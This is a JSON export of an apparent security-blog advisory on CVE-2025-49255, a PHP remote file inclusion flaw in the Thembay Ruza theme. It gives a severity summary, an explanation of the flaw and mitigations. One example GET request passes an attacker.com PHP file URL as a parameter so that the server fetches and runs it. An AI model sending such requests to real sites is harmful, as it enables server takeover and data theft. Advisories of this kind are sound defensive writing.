{"id":55893,"date":"2025-06-29T05:28:21","date_gmt":"2025-06-29T05:28:21","guid":{"rendered":""},"modified":"2025-08-31T18:38:18","modified_gmt":"2025-09-01T00:38:18","slug":"cve-2025-49255-php-remote-file-inclusion-vulnerability-in-themebay-ruza","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49255-php-remote-file-inclusion-vulnerability-in-themebay-ruza\/","title":{"rendered":"<strong>CVE-2025-49255: PHP Remote File Inclusion Vulnerability in Themebay Ruza<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>This blog post discusses the CVE-2025-49255 vulnerability, a critical PHP Remote File Inclusion (RFI) vulnerability discovered in thembay Ruza. This vulnerability exposes users to potential system compromise or data leakage, making it a significant cybersecurity concern. It affects Ruza versions up to and including 1.0.7. The RFI vulnerability is especially concerning given its potential to provide a malicious actor with the ability to execute arbitrary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49279-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogvy\/\"  data-wpil-monitor-id=\"62227\">PHP<\/a> code remotely, which can lead to severe consequences such as full system compromise.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49255<br \/>\nSeverity: High (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: No<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"65494\">System Compromise<\/a>, Data Leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1960623988\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Thembay Ruza | Up to and including 1.0.7<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49281-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-magways\/\"  data-wpil-monitor-id=\"62207\">PHP Remote File Inclusion vulnerability<\/a>, as the name implies, allows an attacker to include a remote file, usually through a script on a web server. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49280-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-magty\/\"  data-wpil-monitor-id=\"62235\">file can execute arbitrary PHP<\/a> code. The issue arises due to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43586-adobe-commerce-improper-access-control-vulnerability-leading-to-privilege-escalation\/\"  data-wpil-monitor-id=\"63146\">improper control<\/a> of filename for include\/require statement in the PHP program of thembay Ruza. An attacker can manipulate these statements to inject malicious scripts into a server&#8217;s file system, which the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49132-critical-arbitrary-code-execution-vulnerability-in-pterodactyl-game-server-management-panel\/\"  data-wpil-monitor-id=\"63292\">server then executes<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3710249264\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>An attacker might exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6162-critical-buffer-overflow-vulnerability-in-totolink-ex1200t-http-post-request-handler\/\"  data-wpil-monitor-id=\"62296\">vulnerability by sending a crafted request<\/a> to a vulnerable server. The request could look something like this:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: vulnerable-ruza-site.com<\/code><\/pre>\n<p>In this example, `http:\/\/attacker.com\/malicious_file.php` is a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52207-critical-php-script-upload-vulnerability-in-mikopbx\/\"  data-wpil-monitor-id=\"65493\">PHP script<\/a> hosted on the attacker&#8217;s server. The vulnerable server fetches and executes this script, leading to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49415-path-traversal-vulnerability-in-fw-gallery-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"62426\">potential system<\/a> compromise or data leakage.<\/p>\n<p><strong>Mitigation Measures<\/strong><\/p>\n<p>The most effective way to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39486-rankie-sql-injection-vulnerability-and-mitigation-measures\/\"  data-wpil-monitor-id=\"62427\">mitigate this vulnerability<\/a> is by applying the vendor patch. If that is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method. These tools can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20217-denial-of-service-vulnerability-in-snort-3-detection-engine-of-cisco-secure-firewall-threat-defense-software\/\"  data-wpil-monitor-id=\"77100\">detect and block attempts to exploit this vulnerability<\/a>. Furthermore, it is recommended to disable allow_url_include and allow_url_fopen in the PHP configuration, which prevents the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49278-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogty\/\"  data-wpil-monitor-id=\"62218\">inclusion of remote files<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview This blog post discusses the CVE-2025-49255 vulnerability, a critical PHP Remote File Inclusion (RFI) vulnerability discovered in thembay Ruza. This vulnerability exposes users to potential system compromise or data leakage, making it a significant cybersecurity concern. It affects Ruza versions up to and including 1.0.7. The RFI vulnerability is especially concerning given its potential [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55893","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55893","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=55893"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55893\/revisions"}],"predecessor-version":[{"id":69476,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55893\/revisions\/69476"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=55893"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=55893"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=55893"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=55893"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=55893"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=55893"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=55893"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=55893"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=55893"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}